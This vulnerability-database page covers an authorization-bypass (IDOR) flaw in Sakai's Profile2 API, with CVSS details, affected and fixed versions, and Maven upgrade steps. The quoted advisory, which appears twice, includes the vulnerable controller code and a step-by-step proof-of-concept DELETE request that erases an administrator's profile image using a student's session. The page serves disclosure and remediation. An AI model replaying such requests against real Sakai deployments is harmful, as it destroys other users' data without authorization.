Vulnerabilities in pkg:maven/org.sakaiproject.profile2/profile2-impl

PACKAGE
Advisory Identifier: GHSA-9284-fjc3-fmmj
Advisory Summary

CVE-2026-54050 is a MODERATE (CVSS 6.5) sakai profile image deletion has vulnerability (CWE-639: Authorization Bypass Through User-Controlled Key) affecting Profile2 api libraries in the Maven ecosystem. The issue involves sakai profile image deletion has an idor. Remediation is available by upgrading affected packages to version 23.5.

1 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:maven/org.sakaiproject.profile2/profile2-impl

1 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:maven/org.sakaiproject.profile2/profile2-impl. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-9284-fjc3-fmmj CVE-2026-54050 MODERATE Sakai Profile Image Deletion has an IDOR

CVE-2026-54050 at a Glance

CVE Identifier CVE-2026-54050
GHSA Identifier GHSA-9284-fjc3-fmmj
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-639: Authorization Bypass Through User-Controlled Key
Affected Product Profile2 api
Package Ecosystem Maven
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-54050

To remediate this vulnerability, upgrade all affected Profile2 api dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

org.sakaiproject.profile2:profile2-api fixed: 23.5
<dependency>
    <groupId>org.sakaiproject.profile2</groupId>
    <artifactId>profile2-api</artifactId>
    <version>23.5</version>
</dependency>
org.sakaiproject.profile2:profile2-api fixed: Latest secure release
<dependency>
    <groupId>org.sakaiproject.profile2</groupId>
    <artifactId>profile2-api</artifactId>
    <version>Latest secure release</version>
</dependency>
org.sakaiproject.profile2:profile2-impl fixed: 23.5
<dependency>
    <groupId>org.sakaiproject.profile2</groupId>
    <artifactId>profile2-impl</artifactId>
    <version>23.5</version>
</dependency>
org.sakaiproject.profile2:profile2-impl fixed: Latest secure release
<dependency>
    <groupId>org.sakaiproject.profile2</groupId>
    <artifactId>profile2-impl</artifactId>
    <version>Latest secure release</version>
</dependency>
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

mvn dependency:tree -Dincludes=org.sakaiproject.profile2

How to Check if You Are Affected

To determine whether your Java application is affected by CVE-2026-54050, inspect your build dependencies using the Maven Dependency Plugin:

mvn dependency:tree -Dincludes=org.sakaiproject.profile2

Analyze the terminal output to locate any version of Profile2 api in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 23.5), your application is affected.

Note: The mvn dependency:tree -Dincludes=org.sakaiproject.profile2 command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-639: Authorization Bypass Through User-Controlled Key, where the system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data. In Profile2 api, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The Sakai REST API endpoint `DELETE /api/users/{userId}/profile/image` does not verify that the requesting user is authorized to modify the target user's profile. Any authenticated user can delete the profile image of any other user, including administrators, by supplying a different `userId` in the path. The service layer has no authorization check, and the delete cascades through Content Hosting Service (CHS) with a security advisor that bypasses all CHS permission checks. ### Details `ProfileController.removeProfileImage()` in the webapi module retrieves the current user's session but performs no comparison between the authenticated user and the target `userId` path parameter: ```java @DeleteMapping(value = "/users/{userId}/profile/image") public ResponseEntity<String> removeProfileImage(@PathVariable String userId) { String currentUserId = checkSakaiSession().getUserId(); if (currentUserId == null) { return ResponseEntity.status(HttpStatus.FORBIDDEN).build(); } profileService.removeProfileImage(userId); // userId is attacker-controlled return ResponseEntity.ok().build(); } ``` `ProfileServiceImpl.removeProfileImage()` delegates directly to `dao.removeProfileImage(userUuid)` with no authorization check. The DAO calls `profileImageUploadedRepository.deleteById(userId)`, removing the `profile_images_t` row unconditionally. For contrast, the upload endpoint `setProfileImage()` correctly verifies ownership: ```java if (!sakaiProxy.isSuperUser() && !StringUtils.equals(currentUserUuid, userUuid)) { throw new SecurityException("Not allowed to save."); } ``` This asymmetry means any authenticated user can delete but not upload over another user's profile image. Additionally, the pronunciation recording delete endpoint (`DELETE /api/users/{userId}/profile/pronunciation`) has no `checkSakaiSession()` call at all, making it accessible without any authentication. **Setup:** - Admin user: `admin`, with a custom profile image uploaded - Attacker: `student2` (unprivileged user, SAKAIID cookie from authenticated session) **Step 1 - Admin uploads profile image (confirm non-default state):** ``` POST /api/users/admin/profile/image HTTP/1.1 Cookie: SAKAIID=<admin-session> Content-Type: application/x-www-form-urlencoded base64=<base64-encoded-png> ``` Response: `{"status":"SUCCESS"}` **Step 2 - Verify image exists in database:** ```sql SELECT USER_UUID, RESOURCE_MAIN FROM profile_images_t WHERE USER_UUID='admin'; -- Result: admin | /private/profileImages/admin/1/eb92b129-9b00-4978-aec3-be840455d8e9 ``` **Step 3 - Attacker (student2) deletes admin's profile image:** ``` DELETE /api/users/admin/profile/image HTTP/1.1 Host: localhost:9107 Cookie: SAKAIID=974996f4-e9c1-441c-9ab9-d3646aa5c754.9799861f31fb ``` Response: `HTTP/1.1 200` **Step 4 - Verify image is gone from database:** ```sql SELECT USER_UUID, RESOURCE_MAIN FROM profile_images_t WHERE USER_UUID='admin'; -- Result: (empty - row deleted) ``` The attack succeeds. Student2's session is accepted by `checkSakaiSession()` (non-blank userId), and the target userId (`admin`) is passed directly to the service without any ownership check. ### Impact Any authenticated user (student, guest) can: - Permanently delete the profile image of any other user, including administrators and instructors - Repeatedly trigger deletion to prevent a target user from maintaining a profile picture - In a university context where profile photos are used for identity verification in proctored exams or student directories, this could disrupt identity management workflows The attack is trivially scriptable and can target all users on the platform in bulk. ### Suggested Remediation In `ProfileController.removeProfileImage()`, add an ownership check before calling the service: ```java @DeleteMapping(value = "/users/{userId}/profile/image") public ResponseEntity<String> removeProfileImage(@PathVariable String userId) { Session session = checkSakaiSession(); String currentUserId = session.getUserId(); if (currentUserId == null) { return ResponseEntity.status(HttpStatus.FORBIDDEN).build(); } // Add this check: if (!sakaiProxy.isSuperUser() && !currentUserId.equals(userId)) { return ResponseEntity.status(HttpStatus.FORBIDDEN).build(); } profileService.removeProfileImage(userId); return ResponseEntity.ok().build(); } ``` Apply the same ownership check in `ProfileServiceImpl.removeProfileImage()` for defense-in-depth, mirroring the pattern in `setProfileImage()`. For the pronunciation endpoint, add `checkSakaiSession()` and the same ownership check. ### Status / timeline: - 2026-06-02: Fix committed to master (`a092dbf3dc6bf343131f50007c207a9abd95e852`) - Release pending.

CVE-2026-54050 Affected Profile2 api Versions

4 component(s)
Fixed Versions:
23.5
Product / Package Ecosystem Affected Versions Fixed Version
org.sakaiproject.profile2:profile2-api
Maven
≥ 23.0
< 23.5
23.5
org.sakaiproject.profile2:profile2-api
Maven
≥ 25.0
≤ 25.2
org.sakaiproject.profile2:profile2-impl
Maven
≥ 23.0
< 23.5
23.5
org.sakaiproject.profile2:profile2-impl
Maven
≥ 25.0
≤ 25.2

References

Frequently Asked Questions

What is CVE-2026-54050?
CVE-2026-54050 is a security vulnerability in Profile2 api involving Sakai Profile Image Deletion has an IDOR under CWE-639: Authorization Bypass Through User-Controlled Key.
Which Profile2 api versions are affected?
Affected versions include releases prior to 23.5 across affected packages: org.sakaiproject.profile2:profile2-api, org.sakaiproject.profile2:profile2-impl.
What version fixes CVE-2026-54050?
Upgrading to 23.5 (or the latest patched release for your respective branch) resolves the vulnerability.
Is profile2-api affected?
Yes, org.sakaiproject.profile2:profile2-api is affected in releases prior to 23.5, Latest secure release. Upgrade your dependency to 23.5, Latest secure release or later.
Is profile2-impl affected?
Yes, org.sakaiproject.profile2:profile2-impl is affected in releases prior to 23.5, Latest secure release. Upgrade your dependency to 23.5, Latest secure release or later.
What is the CVSS score of CVE-2026-54050?
CVE-2026-54050 has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N.
What CWE is associated with CVE-2026-54050?
CVE-2026-54050 is classified under CWE-639: Authorization Bypass Through User-Controlled Key (The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.).
How can I check Maven dependencies for CVE-2026-54050?
Run the dependency tree command: 'mvn dependency:tree -Dincludes=org.sakaiproject.profile2'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9284-fjc3-fmmj",
  "modified" : "2026-08-24T19:40:37Z",
  "published" : "2026-08-24T19:40:37Z",
  "aliases" : [ "CVE-2026-54050" ],
  "summary" : "Sakai Profile Image Deletion has an IDOR",
  "details" : "### Summary\n\nThe Sakai REST API endpoint `DELETE /api/users/{userId}/profile/image` does not verify that the requesting user is authorized to modify the target user's profile. Any authenticated user can delete the profile image of any other user, including administrators, by supplying a different `userId` in the path. The service layer has no authorization check, and the delete cascades through Content Hosting Service (CHS) with a security advisor that bypasses all CHS permission checks.\n\n### Details\n`ProfileController.removeProfileImage()` in the webapi module retrieves the current user's session but performs no comparison between the authenticated user and the target `userId` path parameter:\n\n```java\n@DeleteMapping(value = \"/users/{userId}/profile/image\")\npublic ResponseEntity<String> removeProfileImage(@PathVariable String userId) {\n    String currentUserId = checkSakaiSession().getUserId();\n    if (currentUserId == null) {\n        return ResponseEntity.status(HttpStatus.FORBIDDEN).build();\n    }\n    profileService.removeProfileImage(userId);  // userId is attacker-controlled\n    return ResponseEntity.ok().build();\n}\n```\n\n`ProfileServiceImpl.removeProfileImage()` delegates directly to `dao.removeProfileImage(userUuid)` with no authorization check. The DAO calls `profileImageUploadedRepository.deleteById(userId)`, removing the `profile_images_t` row unconditionally.\n\nFor contrast, the upload endpoint `setProfileImage()` correctly verifies ownership:\n\n```java\nif (!sakaiProxy.isSuperUser() && !StringUtils.equals(currentUserUuid, userUuid)) {\n    throw new SecurityException(\"Not allowed to save.\");\n}\n```\n\nThis asymmetry means any authenticated user can delete but not upload over another user's profile image.\n\nAdditionally, the pronunciation recording delete endpoint (`DELETE /api/users/{userId}/profile/pronunciation`) has no `checkSakaiSession()` call at all, making it accessible without any authentication.\n\n\n**Setup:**\n- Admin user: `admin`, with a custom profile image uploaded\n- Attacker: `student2` (unprivileged user, SAKAIID cookie from authenticated session)\n\n**Step 1 - Admin uploads profile image (confirm non-default state):**\n\n```\nPOST /api/users/admin/profile/image HTTP/1.1\nCookie: SAKAIID=<admin-session>\nContent-Type: application/x-www-form-urlencoded\n\nbase64=<base64-encoded-png>\n```\n\nResponse: `{\"status\":\"SUCCESS\"}`\n\n**Step 2 - Verify image exists in database:**\n\n```sql\nSELECT USER_UUID, RESOURCE_MAIN FROM profile_images_t WHERE USER_UUID='admin';\n-- Result: admin | /private/profileImages/admin/1/eb92b129-9b00-4978-aec3-be840455d8e9\n```\n\n**Step 3 - Attacker (student2) deletes admin's profile image:**\n\n```\nDELETE /api/users/admin/profile/image HTTP/1.1\nHost: localhost:9107\nCookie: SAKAIID=974996f4-e9c1-441c-9ab9-d3646aa5c754.9799861f31fb\n```\n\nResponse: `HTTP/1.1 200`\n\n**Step 4 - Verify image is gone from database:**\n\n```sql\nSELECT USER_UUID, RESOURCE_MAIN FROM profile_images_t WHERE USER_UUID='admin';\n-- Result: (empty - row deleted)\n```\n\nThe attack succeeds. Student2's session is accepted by `checkSakaiSession()` (non-blank userId), and the target userId (`admin`) is passed directly to the service without any ownership check.\n\n### Impact\n\nAny authenticated user (student, guest) can:\n- Permanently delete the profile image of any other user, including administrators and instructors\n- Repeatedly trigger deletion to prevent a target user from maintaining a profile picture\n- In a university context where profile photos are used for identity verification in proctored exams or student directories, this could disrupt identity management workflows\n\nThe attack is trivially scriptable and can target all users on the platform in bulk.\n\n### Suggested Remediation\n\nIn `ProfileController.removeProfileImage()`, add an ownership check before calling the service:\n\n```java\n@DeleteMapping(value = \"/users/{userId}/profile/image\")\npublic ResponseEntity<String> removeProfileImage(@PathVariable String userId) {\n    Session session = checkSakaiSession();\n    String currentUserId = session.getUserId();\n    if (currentUserId == null) {\n        return ResponseEntity.status(HttpStatus.FORBIDDEN).build();\n    }\n    // Add this check:\n    if (!sakaiProxy.isSuperUser() && !currentUserId.equals(userId)) {\n        return ResponseEntity.status(HttpStatus.FORBIDDEN).build();\n    }\n    profileService.removeProfileImage(userId);\n    return ResponseEntity.ok().build();\n}\n```\n\nApply the same ownership check in `ProfileServiceImpl.removeProfileImage()` for defense-in-depth, mirroring the pattern in `setProfileImage()`.\n\nFor the pronunciation endpoint, add `checkSakaiSession()` and the same ownership check.\n\n### Status / timeline:\n- 2026-06-02: Fix committed to master (`a092dbf3dc6bf343131f50007c207a9abd95e852`)\n- Release pending.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.sakaiproject.profile2:profile2-api"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "23.0"
      }, {
        "fixed" : "23.5"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.sakaiproject.profile2:profile2-api"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "25.0"
      }, {
        "last_affected" : "25.2"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.sakaiproject.profile2:profile2-impl"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "23.0"
      }, {
        "fixed" : "23.5"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.sakaiproject.profile2:profile2-impl"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "25.0"
      }, {
        "last_affected" : "25.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/sakaiproject/sakai/security/advisories/GHSA-9284-fjc3-fmmj"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/sakaiproject/sakai/commit/a092dbf3dc6bf343131f50007c207a9abd95e852"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/sakaiproject/sakai"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/sakaiproject/sakai/releases/tag/23.5"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-639" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-24T19:40:37Z",
    "nvd_published_at" : null
  }
}